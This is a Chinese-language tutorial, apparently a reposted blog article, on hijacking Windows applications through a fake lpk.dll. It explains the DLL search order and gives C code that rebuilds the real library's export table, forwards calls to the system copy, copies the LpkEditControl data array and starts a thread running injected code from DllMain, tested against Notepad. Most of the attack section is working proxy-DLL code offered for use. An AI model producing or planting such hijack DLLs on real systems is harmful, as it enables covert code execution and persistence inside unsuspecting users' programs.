0.ring3-DLL劫持技术详解(lpk.dll)

背景知识

https://support.microsoft.com/en-us/kb/164501中记录了除了window的搜索dll顺序
要看中文的兄弟可以看:https://support.microsoft.com/zh-cn/kb/164501
我们当然主要关注32位的dll
对于 32 位 Dll 在找到 KnownDLLs 注册表项:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager

REG_SZ 注册表值的名称是不带扩展名的 dll 的名称。注册表值数据是与扩展 DLL 的名称。此项会影响只能隐式加载的 Dll,而不是使用 LoadLibrary() API 来加载的 Dll。
如果没有KnownDLLs 注册表项,Windows NT 使用下面的搜索顺序来查找 DLL:
1.正在加载 DLL 的进程的可执行文件的目录。
2.正在加载 DLL 过程的当前目录。
3.\WINNT\SYSTEM32 目录中。
4.\WINNT 目录中。
5.在 path 环境变量列出的目录。
如果有KnownDLLs 注册表项,Windows NT 使用下面的搜索顺序来查找 DLL:
1.\WINNT\SYSTEM32 目录中。
2.正在加载 DLL 的进程的可执行文件的目录。
3.正在加载 DLL 过程的当前目录。
4.\WINNT 目录中。
5.在 PATH 环境变量列出的目录。
如果 DLL 不位于任何位置上面提到,隐式链接会导致父模块加载失败。

所以LPK劫持的关键是什么,一定要让应用程序先从我们的可执行文件所在目录加载LPK,怎么做到呢,可以看这里:

http://blog.csdn.net/hgy413/article/details/7799316

0.ring3-DLL劫持技术详解(lpk.dll)_第1张图片

所以我们要模拟写一个LPK.DLL,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL

1、构造一个与系统目录下LPK.DLL一样的导出表
2、加载系统目录下的LPK.DLL
3、将导出函数转发到系统目录下的LPK.DLL上
4、在初始化函数中加入我们要执行的代码

首先是定义导出函数

#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
LPK.DLL比较特殊,在导入表中有一项不是函数是数据,因此数据这部分要单独处理。核心代码如下:

EXTERNC void __cdecl AheadLib_LpkEditControl(void);   
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl};   
LpkEditControl这个数组有14个成员,如上定义即可,后面我们还需要将真正的数据复制过来。
1.加载系统目录下的LPK.DLL。关键: 使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了

inline BOOL WINAPI Load()
	{
		TCHAR tzPath[MAX_PATH];
		TCHAR tzTemp[MAX_PATH * 2];
		
		GetSystemDirectory(tzPath, MAX_PATH);
		lstrcat(tzPath, TEXT("\\lpk"));
		m_hModule=LoadLibrary(tzPath);
		if (m_hModule == NULL)
		{
			wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);
			MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
		};
		
		return (m_hModule != NULL);	
	}
2. 获得原函数地址

FARPROC WINAPI GetAddress(PCSTR pszProcName)
	{
		FARPROC fpAddress;
		CHAR szProcName[16];
		TCHAR tzTemp[MAX_PATH];
		
		fpAddress = GetProcAddress(m_hModule, pszProcName);
		if (fpAddress == NULL)
		{
			if (HIWORD(pszProcName) == 0)
			{
				wsprintf(szProcName, "%d", pszProcName);
				pszProcName = szProcName;
			}
			
			wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
			MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
			ExitProcess(-2);
		}
		return fpAddress;
	}
3. 将我们构造的导出函数转发

// 导出函数
ALCDECL AheadLib_LpkInitialize(void)
{
	GetAddress("LpkInitialize");
	__asm JMP EAX;
}
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
	GetAddress("LpkGetTextExtentExPoint");
	__asm JMP EAX;
}
.......................................太长了,请直接看源码附件
4.在DLL初始化函数中加载我们要注入远程进程的代码:

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
		if(Load())
		{
			//LpkEditControl这个数组有14个成员,必须将其复制过来    
			memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);   
			_beginthread(Init,NULL,NULL);
		}
		else
			return FALSE;
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		Free();
	}
	return TRUE;
}
5.测试,在Init中加入测试代码,把lpk复制到待测试软件同目录下,比如我们的记事本,notepad


源码下载













你可能感兴趣的:(windows,dll,Path,linker,winapi)